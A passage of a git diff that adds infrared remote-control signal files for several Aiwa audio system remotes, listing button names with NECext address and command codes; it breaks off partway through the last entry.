+++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: mono +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: karaoke_enter +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: edit/check +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: t-bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: karaoke +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: direct1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: direct2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: direct3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir new file mode 100644 index 000000000..7275006b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: mono +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: t-bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: karaoke +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir new file mode 100644 index 000000000..93b643a8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 00 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0C 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 12 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: CD_MODE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 1F 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 4E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 51 00 00 00 +# +name: MEMORY_SET +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 52 00 00 00 +# +name: DAT_AUX +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 5D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 91 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 92 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 93 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 95 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 96 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 97 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 98 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9B 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: SKIP-SEARCH-TUNNING_RIGHT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: SKIP-SEARCH-TUNNING_LEFT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir new file mode 100644 index 000000000..91e319f9d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: plus10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: direction +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: t_bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: bbe +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir new file mode 100644 index 000000000..c6c3fbd27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: plus10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: skip_forw +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: t_bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: bbe +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir new file mode 100644 index 000000000..460aa6ded --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: FM-MODE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: T-BASS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: GEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir new file mode 100644 index 000000000..f77d350f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: FMMODE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: TBASS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: GEQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: DP1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: DP2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: DP3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 +# +name: DISCSKIP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir new file mode 100644 index 000000000..26a7d03fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: FM-Mode +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: Edit_Remain +type: parsed +protocol: 